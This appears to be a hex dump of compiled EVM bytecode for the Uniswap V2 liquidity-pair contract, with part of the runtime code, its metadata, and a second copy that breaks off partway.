ff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e697377617056323a204b0000000000000000000000000000000000000000604482015290519081900360640190fd5b5050610ce4848488886122e0565b60408051838152602081018390528082018d9052606081018c9052905173ffffffffffffffffffffffffffffffffffffffff8b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a20464f5242494444454e000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c5460011461108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611094610d90565b50600654604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905193955091935060009273ffffffffffffffffffffffffffffffffffffffff909116916370a08231916024808301926020929190829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b505190506000611201836dffffffffffffffffffffffffffff871663ffffffff61226e16565b90506000611225836dffffffffffffffffffffffffffff871663ffffffff61226e16565b9050600061123387876126ec565b600054909150806112705761125c6103e8610bfd611257878763ffffffff6121e816565b612878565b985061126b60006103e86128ca565b6112cd565b6112ca6dffffffffffffffffffffffffffff8916611294868463ffffffff6121e816565b8161129b57fe5b046dffffffffffffffffffffffffffff89166112bd868563ffffffff6121e816565b816112c457fe5b0461297a565b98505b60008911611326576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612bc16028913960400191505060405180910390fd5b6113308a8a6128ca565b61133c86868a8a6122e0565b811561137e5760085461137a906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461146957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611479610d90565b50600654600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905194965092945073ffffffffffffffffffffffffffffffffffffffff9182169391169160009184916370a08231916024808301926020929190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191925060009173ffffffffffffffffffffffffffffffffffffffff8516916370a08231916024808301926020929190829003018186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d60208110156115c357600080fd5b5051306000908152600160205260408120549192506115e288886126ec565b600054909150806115f9848763ffffffff6121e816565b8161160057fe5b049a5080611614848663ffffffff6121e816565b8161161b57fe5b04995060008b11801561162e575060008a115b611683576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612b996028913960400191505060405180910390fd5b61168d3084612992565b611698878d8d611fdb565b6116a3868d8c611fdb565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8916916370a08231916024808301926020929190829003018186803b15801561170f57600080fd5b505afa158015611723573d6000803e3d6000fd5b505050506040513d602081101561173957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8816916370a0823191602480820192602092909190829003018186803b1580156117ab57600080fd5b505afa1580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b505193506117e585858b8b6122e0565b811561182757600854611823906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b604080518c8152602081018c9052815173ffffffffffffffffffffffffffffffffffffffff8f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b6000610df233848461260b565b6103e881565b600c5460011461194f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654600754600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169490931692611a2b9285928792611a26926dffffffffffffffffffffffffffff169185916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d6020811015611a1857600080fd5b50519063ffffffff61226e16565b611fdb565b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611aca9284928792611a26926e01000000000000000000000000000090046dffffffffffffffffffffffffffff169173ffffffffffffffffffffffffffffffffffffffff8616916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611b7b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f556e697377617056323a20455850495245440000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611cdc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611d5757508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611dc257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611dcd89898961259c565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611e6657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611fd49273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d6020811015611f0757600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b158015611f7a57600080fd5b505afa158015611f8e573d6000803e3d6000fd5b505050506040513d6020811015611fa457600080fd5b50516008546dffffffffffffffffffffffffffff808216916e0100000000000000000000000000009004166122e0565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251815160009460609489169392918291908083835b602083106120e157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120a4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612143576040519150601f19603f3d011682016040523d82523d6000602084013e612148565b606091505b5091509150818015612176575080511580612176575080806020019051602081101561217357600080fd5b50515b6121e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b60008115806122035750508082028282828161220057fe5b04145b610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820382811115610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b6dffffffffffffffffffffffffffff841180159061230c57506dffffffffffffffffffffffffffff8311155b61237757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f556e697377617056323a204f564552464c4f5700000000000000000000000000604482015290519081900360640190fd5b60085463ffffffff428116917c0100000000000000000000000000000000000000000000000000000000900481168203908116158015906123c757506dffffffffffffffffffffffffffff841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032454950373132446f6d61696e28737472696e67206e616d652c737472696e672076657273696f6e2c75696e7432353620636861696e49642c6164647265737320766572696679696e67436f6e747261637429
608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e697377617056323a204b0000000000000000000000000000000000000000604482015290519081900360640190fd5b5050610ce4848488886122e0565b60408051838152602081018390528082018d9052606081018c9052905173ffffffffffffffffffffffffffffffffffffffff8b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a20464f5242494444454e000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c5460011461108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611094610d90565b50600654604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905193955091935060009273ffffffffffffffffffffffffffffffffffffffff909116916370a08231916024808301926020929190829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b505190506000611201836dffffffffffffffffffffffffffff871663ffffffff61226e16565b90506000611225836dffffffffffffffffffffffffffff871663ffffffff61226e16565b9050600061123387876126ec565b600054909150806112705761125c6103e8610bfd611257878763ffffffff6121e816565b612878565b985061126b60006103e86128ca565b6112cd565b6112ca6dffffffffffffffffffffffffffff8916611294868463ffffffff6121e816565b8161129b57fe5b046dffffffffffffffffffffffffffff89166112bd868563ffffffff6121e816565b816112c457fe5b0461297a565b98505b60008911611326576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612bc16028913960400191505060405180910390fd5b6113308a8a6128ca565b61133c86868a8a6122e0565b811561137e5760085461137a906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461146957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611479610d90565b50600654600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905194965092945073ffffffffffffffffffffffffffffffffffffffff9182169391169160009184916370a08231916024808301926020929190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191925060009173ffffffffffffffffffffffffffffffffffffffff8516916370a08231916024808301926020929190829003018186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d60208110156115c357600080fd5b5051306000908152600160205260408120549192506115e288886126ec565b600054909150806115f9848763ffffffff6121e816565b8161160057fe5b049a5080611614848663ffffffff6121e816565b8161161b57fe5b04995060008b11801561162e575060008a115b611683576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612b996028913960400191505060405180910390fd5b61168d3084612992565b611698878d8d611fdb565b6116a3868d8c611fdb565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8916916370a08231916024808301926020929190829003018186803b15801561170f57600080fd5b505afa158015611723573d6000803e3d6000fd5b505050506040513d602081101561173957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8816916370a0823191602480820192602092909190829003018186803b1580156117ab57600080fd5b505afa1580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b505193506117e585858b8b6122e0565b811561182757600854611823906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b604080518c8152602081018c9052815173ffffffffffffffffffffffffffffffffffffffff8f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b6000610df233848461260b565b6103e881565b600c5460011461194f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654600754600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169490931692611a2b9285928792611a26926dffffffffffffffffffffffffffff169185916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d6020811015611a1857600080fd5b50519063ffffffff61226e16565b611fdb565b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611aca9284928792611a26926e01000